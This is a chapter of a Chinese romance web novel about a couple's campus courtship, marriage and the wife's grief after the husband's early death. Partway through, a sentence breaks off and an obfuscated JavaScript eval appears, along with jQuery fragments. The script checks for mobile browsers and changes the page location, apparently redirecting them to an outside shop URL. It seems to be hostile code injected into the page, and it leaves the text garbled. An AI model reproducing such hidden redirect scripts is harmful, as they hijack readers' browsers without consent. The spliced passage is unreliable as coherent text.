53. 53.我好想你(支线)

作品:《与岁书[救赎]

    (本章可以搭配沙宝亮的单曲《秋意浓(Live)》食用。)


    叶知舟刚来启明市的时候,总是听身边的人开玩笑说什么“华中省只有夏天和冬天”。他原先是不信的,直到启明的冬天在11月中旬的一场雨后突然来临,他才相信了身边人的话,还有——


    「启明,每天不一样。」这句挂在学校离教学楼最近的食堂上的红色横幅。


    那天,叶知舟因为突如其来的骤降而赖床起晚了。


    急匆匆抱着专业书,手里拿着降温要穿的牛仔外套,叶知舟在去大教室的路上奔跑着。


    结果,刚跑过靠近中央教学楼的食堂,就看到红色的横幅下面走出来一个红色头发的女生。


    那个年代,染红色的头发可以说是杀马特,也可以说是非主流,但是也可以说是混子。叶知舟有些讶异地顿了顿脚步,看向那个高挑的红色头发的女生,随后才注意到旁边黑色头发的女生。


    她们有一个共同的特点,就是都端着一碗三鲜粉,一边吃一边在路上疾走。


    这不亚于他第一次吃到水果馅饺子的冲击感——启明的人,一边端着早餐一边在路上吃?


    这让叶知舟愣住了,回头看了好几眼,直到黑色头发的女生不好意思地羞红了脸,拿起夹在胳膊那的书挡住了自己的脸。叶知舟才意识到自己行为的失礼,不好意思地继续抱着书跑去教室。


    在那之后,日子就这样照常地过。叶知舟因为猝不及防的降温感冒了,他没有多余的被子。


    持续的低烧,让叶知舟没办法地去了学校的医务室挂水,他挂水的时候还在看期刊论文拓展知识。时间就这样一滴一滴地顺着挂水的瓶过去,叶知舟看累了就将期刊杂志放在肚皮上睡觉。


    “医生!医生!他回血了!”叶知舟是被这样的尖叫声喊醒的。


    他懵懵地看向那个女生,黑色短发的女生瞪大眼睛,一边轻拍着他的胳膊喊他醒,一边扯着嗓子对不远处的医生喊“他回血了”。叶知舟仰起头看吊水瓶,发现果然,回血了,他都不知道。


    医生匆匆忙忙赶来,帮针拔了出来,叨叨了叶知舟几句——“这么大的人了,都不知道看瓶?”


    说着说着,医生笑了笑,看向一旁站着的女生,说:“还好有你女朋友,小伙子,多珍惜吧。”


    这样的话让两个人一愣,叶知舟和姜蝶慌忙摆手:“不,不,我们不认识。”


    医生看了看,没多说什么,就离开了,剩下尴尬的叶知舟和姜蝶,一个站着,一个坐着。


    见叶知舟没有什么问题,姜蝶就挠了挠耳后根:“同学,你没事的话,我就先走了。”


    回过神来的叶知舟才反应过来,姜蝶就是前不久见到的端着早餐边吃边走的女生之一。


    “我们是不是在哪里见过?我请你吃顿饭吧。”这样的话,就从叶知舟嘴里溜了出来。


    听到这样公式化的搭讪,姜蝶慌忙摆手,比刚才摆动的幅度更大,手里提着的塑料袋里面的药品互相碰撞,“簌簌”、“簌簌”。脸羞红得比那天还红的姜蝶:“抱歉,抱歉……”说罢,疾跑走了。


    还没知道想要感谢的人的名字,就被当作想要搭讪的混混,叶知舟也愣住了。


    在很久之后,叶知舟询问姜蝶,为什么当时拒绝得那么快,他真的那么可怕?姜蝶想了想,然后笑着戳了戳叶知舟的梨涡:“你知不知道,你这么帅一张脸这样流利地搭讪,真的挺可怕的。”


    再次见到姜蝶的时候,是叶知舟为了凑学分去参加了学校举办的表演节当作观众。


    他的舍友说赶在签到结束前去签个名字就可以了,到时候随便什么时候走,拿到学分就行。


    于是叶知舟便踩着点,从图书馆拿着课本跑去了大礼堂,签完名字后,一边和偷偷逆流出大礼堂的人擦肩而过,一边钻进了前面几排的座位里。落座后,他才发现大礼堂的人少得可怜。


    刚坐下,叶知舟就发现舞台的灯光从原本的艳丽变成了单调的白炽灯单一地照着舞台的中央。


    原来他来得特别巧,这个节目已经表演完了,想了想,叶知舟也打算离开大礼堂。


    “让我们谢谢成烟主编、姜蝶主演的舞台剧《厌》!”这样一声,吸引了叶知舟的注意力。


    《厌》主要讲的是,新婚后没多久就收到丈夫在战场早亡的消息的寡妇被周围人唾弃的故事。故事以插叙、对比的手法来讲述了一名女性在新婚时的幸福、美满生活,和失去丈夫后成为寡妇后的苦闷、痛苦生活。叶知舟曾经在学校的校报上看到过这篇文章,作者的文字功底很到位。


    于是,他就看到了舞台剧的女主角在红色的幕布拉上的时候,提着黑色的长裙裙摆像一只翩翩飞舞的蝴蝶,奔向舞台的侧边牵起一个红色头发的女生的手,一起来到舞台的中央。然后她们牵起彼此的手,彼此再牵着其他演员和群演的手,一起对着少得可怜的观众席鞠躬致谢。


    红色头发这个特征让叶知舟愣了愣,随后扶了扶眼镜框,想仔细看看穿着黑色长裙的女生是不是那天见到的女孩子。也许是他俯身趴在前面座椅上的动作过于出格,起身的姜蝶和他对视上了。


    叶知舟就看到姜蝶再次羞红了脸,眨了眨眼睛后又慌乱地移开了视线。


    再后来,叶知舟拿出抢教授讲座的前排座位的干劲去关注姜蝶主演的舞台剧。


    那天依旧是一个非常平常的下午,叶知舟坐在第一排座位的中间看专业书等姜蝶的节目。


    “同学,你旁边有人吗?”突然,叶知舟的肩膀被人戳了戳。


    他感觉有些不耐烦,叶知舟不太喜欢异性的直接接触,皱眉说了句:“没有。”


    “那,我能坐在你旁边吗?”女生继续笑着询问,这让叶知舟觉得这个女生好没眼力见。


    有些烦躁地合上了专业书,叶知舟皱着眉扭头想要说的话瞬间吞咽了下去——他看到了自己常常隔着走道和高高的舞台才能看到的姜蝶微微俯身笑着看向他,像是一朵绽放的向日葵。


    “……能,能。”这次轮到叶知舟羞红了脸。


    -


    说来俗套,姜蝶第一次见到叶知舟的时候,并不是那天她和成烟一边疾走一边端着嗦粉的早餐。她早就见过他了,在新生军训入学的那场闭幕仪式上,她看到他站在高高的台子上面演讲。


    但那也只是初步见过,不算是认识。


    于是姜蝶也就那样早早忘记了,直到那个早晨。


    她感觉身旁有一股风经过,带着少年独有的、清爽的清香,然后她愣愣地抬头看向频频回头的少年,直到她羞红了脸不好意思地拿起课本遮挡自己的脸,接着对成烟偷偷地说:“他好帅啊。”


    成烟就在嗦粉的过程中,看向那个刚刚一直盯着姜蝶看的男生:“他?看着就是个滑头。”


    后来,姜蝶总是在自己表演的舞台剧的观众席,看到坐直挺立着脊背的那个“滑头”。


    两个外表靓丽的青春少年在一次次的只有舞台是光亮的黑暗大礼堂相遇,自然会被互相吸引。


    姜蝶开始偷偷观察叶知舟——虽然在开始她对他有好奇心的时候,并不知道她们并不是第一次见面。虽然在开始她对他有好奇心的时候,并不知道他的名字,虽然在开始她对他有好奇心的时候,并不知道她们未来会产生一段美妙并刻骨铭心的爱情。


    姜蝶只知道,她想看他,想在人海中搜寻他,想找到他。


    姜蝶发现叶知舟总是一个人,总是在她的节目快开始的时候背着书包,来到前三排的中间的座位——他应该不是个“滑头”,而是个“书呆子”。她很多次在后台翘首以盼的时候,总是找不到那个“书呆子”,那个总是在她谢幕的时候挺直脊梁正襟危坐的“书呆子”悄悄消失在人海里了。直到她的节目开始,那个“书呆子”才会像是循着太阳的向日葵挺直脊背看向舞台中央的她。


    「向日葵。」


    姜蝶这样想着,娇羞的少女开始不好意思地捂住脸偷笑,为着自己的少女情怀。


    如果叶知舟是循着太阳的向日葵,那么她是不是就是他的太阳?


    可是,太阳怎么会在人海当中搜寻一朵向日葵,将向日葵视作自己的心上人呢?


    姜蝶攥笔的手微微紧了紧,然后继续写上了“向日葵”三个字。


    那么她也当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084852|188470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向日葵好了,她们都是向日葵,都是要循着太阳奔向美好的向日葵。


    -


    再后来,她们结婚了。


    捧花很特别,不是小簇小簇的鲜花,而是叶知舟花园里的、两根大大的、连着根茎的向日葵。


    “叶知舟,你是否愿意姜蝶成为你的妻子并与她缔结婚约?无论疾病还是健康,无论贫穷还是富有,或任何其他理由,都爱她、照顾她、尊重她、接纳她,永远对她忠贞不渝直至生命尽头?”


    “我愿意。”


    “姜蝶,你是否愿意叶知舟成为你的丈夫并与他缔结婚约?无论疾病还是健康,无论贫穷还是富有,或任何其他理由,都爱她、照顾她、尊重她、接纳她,永远对她忠贞不渝直至生命尽头?”


    “我愿意。”


    在成烟和其他重要的朋友的见证下,她们完成了这一神圣的一刻——对彼此终生的伴侣宣誓。


    其实,姜蝶曾很多次告诉叶知舟,她害怕结婚。


    原因很简单,她的妈妈和爸爸并不幸福,她的爸爸并不爱她的妈妈,至少在她看来是这样的。


    她无法想象,如果一个人真的爱一个人,怎么会不选择在爱人去世后,随着爱人一起痛苦甚至是殉情?如果一个人着的很爱很爱自己的伴侣,为什么她不曾见到他花白的头发下的眉毛常常蹙起?如果一个人真的心里有自己的伴侣,为什么她几乎没有看到她的父亲为了她的母亲痛哭流涕?


    她曾无数次跪在陈丽茹的遗像前,仰视这个曾经在世界上最爱她的那个人。


    她爱妈妈,同时她也恨妈妈——为什么当时不带她一起走?为什么就这样丢下她了?


    姜森在陈丽茹去世后没有再娶,在姜蝶看来,是因为姜森对于陈丽茹存在愧疚。


    姜蝶和姜森的争吵往往是她单方面的痛哭流涕加歇斯底里,和姜森面无表情地呵斥她不懂事。


    结果就是,姜蝶收拾好自己的行李离开了自己长大的家。


    在她离开家的那一刻,她就和自己说好了——「我再也,再也不要回来!」


    ……


    「我,叶知舟愿意娶姜蝶为一生的挚爱。」


    叶知舟的一生只有短短的四十五岁。


    「我将违背人类的本能,爱你直到我的□□彻底泯灭。」


    她曾看着他的□□是如何地泯灭。


    「我将无时无刻想着你,直到崇高的月亮不再皎洁。」


    月亮还是那个月亮,许诺的人再也不在了。


    「我将超乎时空念着你,直到炙热的太阳不再燃烧。」


    太阳还是那个太阳,可是她们再也无法拥抱了。


    「我们会细水长流,我们会海阔天空,我们会白头偕老。」


    但是她们的白头偕老只停留在2009年前的那个冬天。


    「我永远为你着迷。」


    她也永远为他着迷。


    曾经掷出的歇斯底里的质问,如今成为一个个刺向她的自己的匕首。


    她的向日葵曾在那片草坪上认真看着她的双眼,用颤抖的双手紧紧握着她的手,用颤抖的嘴唇一张一合许诺她们婚礼彩排中原本没有的誓言。而现在,她的向日葵枯萎了,她的太阳也泯灭了。


    姜蝶看着巨大的灯光下翩翩起舞的姜青杳和邵远年,抿了口手里的红酒,哭不出一滴泪。


    她感觉她是风中破碎的带有泥土的塑料袋,但又更像是不断升向高空中的气球,随时就会爆炸。她已经没有力气去寻找垃圾场了,彻底破碎的她只能可怜地缩在肮脏的地面上。


    她曾经以为这些问题不会有答案,直到她想到了岁岁。


    想到那个连接着她们脐带的、肉红色的、蜷缩的、皱巴巴的躯体变成比她还高的小孩,想到那个曾经抱着她,在她臂弯里哭泣说“这篇课文好难背”的小孩未来还会拿着大学的录取通知书说“妈妈我考上了”,想到那个每次痛经都会难受到痛哭呕吐的小孩,如果失去了爸爸又失去了妈妈……


    她的问题就有了答案。


    只是这次她真的不知道她还能撑多久了。


    「妈妈,我好想你。」——“咚!”